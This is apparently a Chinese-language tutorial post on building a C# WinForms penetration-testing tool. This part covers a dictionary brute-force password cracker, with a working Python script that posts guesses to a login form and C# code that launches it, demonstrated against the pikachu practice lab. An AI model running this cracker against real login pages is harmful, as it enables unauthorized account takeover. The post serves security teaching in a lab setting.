使用C#winform編寫滲透測試工具--暴力破解
這篇文章主要介紹使用C#winform編寫滲透測試工具--暴力破解。暴力破解是指通過利用大量猜測和窮舉的方式來嘗試獲取用戶口令的攻擊方式。簡單來說就是猜口令,攻擊者一直枚舉發送請求,因為爆破成功和失敗的長度是不一樣的,所以可以通過對比數據包的長度很好的判斷是否爆破成功。通過python編寫爆破腳本,再通過C#winform調用.py腳本進行爆破。
- 下面就是使用C#winform編寫的滲透測試工具,前面我們已經完成了端口掃描和敏感目錄掃描的工作,這一部分將介紹暴力破解部分。

- 使用pikachu靶場環境進行實驗,如今通常是使用BurpSuit的Intruder模塊來進行暴力破解,網上也有很多教程,這里我們通過自己編寫軟件進行暴力破解,靶場環境的搭建步驟可以參考https://blog.csdn.net/guo_yan_gy/article/details/103566638這篇文章,搭建后打開瀏覽器輸入網址進入靶場。

目錄
- 實現原理
- 代碼實現
- 使用步驟
一、實現原理
暴力破解分為基於表單的暴力破解、基於驗證碼的暴力破解和基於Token破解,這里主要實現基於表單的暴力破解。
- 首先需要一個密碼字典,可以通過自己收集,也可以在網上下載。

- 一般進行密碼爆破時,都是知道賬戶的而不知道密碼,但如果兩個都不知道,一般先爆破賬戶。爆破賬戶的原理是根據在輸入賬號后反饋的消息來進行確認,這里主要進行密碼爆破。
- 使用python編寫腳本調用字典進行密碼爆破,根據返回的結果的長度判斷爆破的結果(錯誤的密碼返回的結果的信息是一樣的,長度也是一樣的,正確密碼返回的結果和其他的返回結果不同,所以只需要找到返回結果長度和其他不一樣的密碼即可,該密碼就是正確密碼)。
二、代碼實現
python實現密碼暴力破解
# conding=utf-8
import requests
import sys
# 此處添加header
header = """
Host: 10.16.53.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.16.53.180
Connection: close
Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
Upgrade-Insecure-Requests: 1
"""
def get_headers(url, test):
headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '') # 通過原生請求頭獲取請求頭字典
f = open("password.txt", "r") # 打開字典
pwds = f.readlines()
print("響應時間:")
for pwd in pwds:
url = url
# url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
values = {
'username': test,
'password': pwd[0:-1],
'submit': 'Login',
}
req = requests.post(url=url, headers=headers, data=values) # 發送post請求
print(pwd[0:-1]+'-->', len(req.text)) # 返回結果
get_headers(sys.argv[1], sys.argv[2])
C#調用腳本
對於python腳本中包含第三方模塊的情況,同樣,通過直接創建Process進程,調用python腳本,返回掃描結果。
- 創建按鈕按下事件button1_Click,運行“調用python腳本”函數runPythonPassword()
private void button6_Click(object sender, EventArgs e)
{
richTextBox3.Clear();
runPythonPassword();//運行python函數
label19.Text = "開始掃描...";
}
- 實例化一個python進程 調用.py 腳本
void runPythonPassword()
{
string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
//string headers = richTextBox4.Text;
string username = textBox8.Text;
p = new Process();
string path = "trans_headers.py";//待處理python文件的路徑,本例中放在debug文件夾下
string sArguments = path;
ArrayList arrayList = new ArrayList();
arrayList.Add(url);//網站url
//arrayList.Add(headers);//請求頭
arrayList.Add(username);//破解的用戶名
foreach (var param in arrayList)//拼接參數
{
sArguments += " " + param;
}
//label29.Text = sArguments;
p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //沒有配環境變量的話,可以寫"xx\xx\python.exe"的絕對路徑。如果配了,直接寫"python"即可
p.StartInfo.Arguments = sArguments;//python命令的參數
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();//啟動進程
p.BeginOutputReadLine();
p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
Console.ReadLine();
}
- 輸出接收事件函數
void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
{
var printedStr = e.Data;
Action at = new Action(delegate ()
{
//接受.py進程打印的字符信息到文本顯示框
richTextBox3.AppendText(printedStr + "\n");
label19.Text = "掃描結束";
});
Invoke(at);
}
三、軟件使用步驟
- 首先在密碼框輸入任意密碼,使用BurpSuit進行抓包。我們發現提交的請求是一個POST請求,賬號是admin,密碼是123。

- 將報文頭部復制到python腳本中。

- 輸入url地址和賬戶名,點擊開始按鈕,進行爆破。

- 可以看到密碼為“abc123”返回的結果的長度和其他的都不一樣,由此可以得到賬戶名為“test”的密碼為“abc123”。

5.在靶場中輸入賬戶名:test,密碼:abc123,顯示登錄成功,爆破結束。

